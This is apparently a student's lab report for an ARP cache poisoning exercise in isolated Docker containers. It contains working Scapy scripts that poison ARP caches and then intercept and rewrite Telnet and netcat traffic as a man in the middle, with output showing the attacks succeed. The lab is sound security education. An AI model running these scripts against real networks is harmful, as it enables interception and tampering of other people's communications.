ARP Cache Poisoning Attack Lab

57118211 谢瑞

Task 1: ARP Cache Poisoning

A using ARP requet

使用 ARP 请求的代码如下：

task1_a.py
~/Desktop/Labs_20.04/Network Security/ARP Cache Poisoning Attack Lab/Labsetup/volumes

```python
from scapy.all import *

E=Ether()
A=ARP()
A.op=1
A.psrc="10.9.0.6"
A.pdst="10.9.0.5"

pkt=E/A
while 1:
        sendp(pkt)
```

运行代码后，在受害者 A 的容器 docker1(10.9.0.5) 利用命令 arp -a ，可以看到 ARP 缓存受到中毒攻击。

```
root@fd1693da449c:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
```

B using ARP reply

使用 ARP 应答的代码如下：

task1_b.py
~/Desktop/Labs_20.04/Network Security/ARP Cache Poisoning Attack Lab/Labsetup/volumes

```python
from scapy.all import *

E=Ether()
A=ARP()
A.op=2
A.psrc="10.9.0.6"
A.pdst="10.9.0.5"

pkt=E/A
while 1:
        sendp(pkt)
```

运行代码后，在受害者 A 的容器 docker1(10.9.0.5) 利用命令 arp -n,查看 MAC 是否替换成功：

情况一：替换成功：

```
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

情况二：保持替换后的 MAC：

```
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

C using ARP gratuitous message

代码如下：

Open task1_c.py ~/Desktop/Labs_20.04/Network Security/ARP Cache Poisoning Attack Lab/Labsetup/volumes

task1_b.py task

```python
from scapy.all import *

E=Ether()
A=ARP()
A.psrc="10.9.0.6"
A.pdst="10.9.0.6"
A.hwdst="ff:ff:ff:ff:ff:ff"
E.dst="ff:ff:ff:ff:ff:ff"
pkt=E/A

while 1:
        sendp(pkt)
```

成功替换 MAC：

```
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

实施 Task1 中的攻击后：主机 A 和 B 中 arp 变化如下：

```
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
root@30588ec5e9c4:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

```
root@c4e1fadd403c:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.5                 ether   02:42:0a:09:00:05   C                     eth0
root@c4e1fadd403c:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.5                 ether   02:42:0a:09:00:69   C                     eth0
```

关闭 M 的 ip 转发：

```
root@6a0eb50477ab:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

此时在主机 B(10.9.0.6)和主机 A(10.9.0.5) 之间互相 ping，没有任何回应。

19	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply	id=0x0032, se
20	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply	id=0x0032, se
21	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002a, se
22	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002a, se
23	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply	id=0x002a, se
24	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply	id=0x002a, se
25	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request	id=0x0032, se
26	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request	id=0x0032, se
27	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply	id=0x0032, se
28	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply	id=0x0032, se
29	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002a, se
30	2021-07-18 09:4…	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002a, se
31	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply	id=0x002a, se
32	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply	id=0x002a, se
33	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request	id=0x0032, se
34	2021-07-18 09:4…	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request	id=0x0032, se

此时中间人会转发两台主机间的数据包，能收到 ping 的回应了。

正式实施攻击，首先完成 task1 的攻击，此时 M 的 ip 转发是打开的，A telnet 连接 B，再关上 M 的 ip 转发，编写如下程序：

Open ~/Desktop/Labs_20.04/Network Security/A

task2_1.py

```python
#!/usr/bin/env python3
from scapy.all import *

IP_A="10.9.0.5"
MAC_A="02:42:0a:09:00:05"
IP_B="10.9.0.6"
MAC_B="02:42:0a:09:00:06"

def spoof_pkt(pkt):
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].payload)
                del(newpkt[TCP].chksum)

                if pkt[TCP].payload:
                        data = pkt[TCP].payload.load
                        data_len = len(data)
                        newdata = 'Z' * data_len
                        send(newpkt/newdata)
                else:
                        send(newpkt)
        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                send(newpkt)

f = 'tcp and ether src host 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof pkt)
```

此时我们在 docker1(10.9.0.5) 进行 telnet 后的命令行上输入任何字符，都被替换成 Z ：

```
root@30588ec5e9c4:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
c4e1fadd403c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

seed@c4e1fadd403c:~$ ZZZZZZZZZZZZZZZZZZZZZZ
```

Task 3：MITM Attack on Netcat using ARP Cache Poisoning

代码如下：

task2_new.py
~/Desktop/Labs_20.04/Network Security/ARP Cache Poisoning Attack Lab/Labsetup/volumes

task2_1.py　task2_2.py　task1_c2.py

```python
#!/usr/bin/env python3
from scapy.all import *
IP_A="10.9.0.5"
MAC_A="02:42:0a:09:00:05"
IP_B="10.9.0.6"
MAC_B="02:42:0a:09:00:06"

def spoof_pkt(pkt):
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].payload)
                del(newpkt[TCP].chksum)

                if pkt[TCP].payload:
                        data = pkt[TCP].payload.load
                        newdata = data.replace(b'xierui', b'AAAAAA')
                        send(newpkt/newdata)

                else:
                        send(newpkt)
        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                send(newpkt)

f = 'tcp and ether src host 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

将 docker3(10.9.0.105) 上的 IP 转发设置成关闭，运行两个 ARP 缓存中毒攻击程序，再运行嗅探-修改-转发程序，此时从 docker1(10.9.0.5) 向 docker2(10.9.0.6) 发送信息时，关键字符会被修改：

```
root@30588ec5e9c4:/# nc 10.9.0.6 9090
xierui
xxxxxx
```

```
root@c4e1fadd403c:/# nc -lp 9090
AAAAAA
xxxxxx
```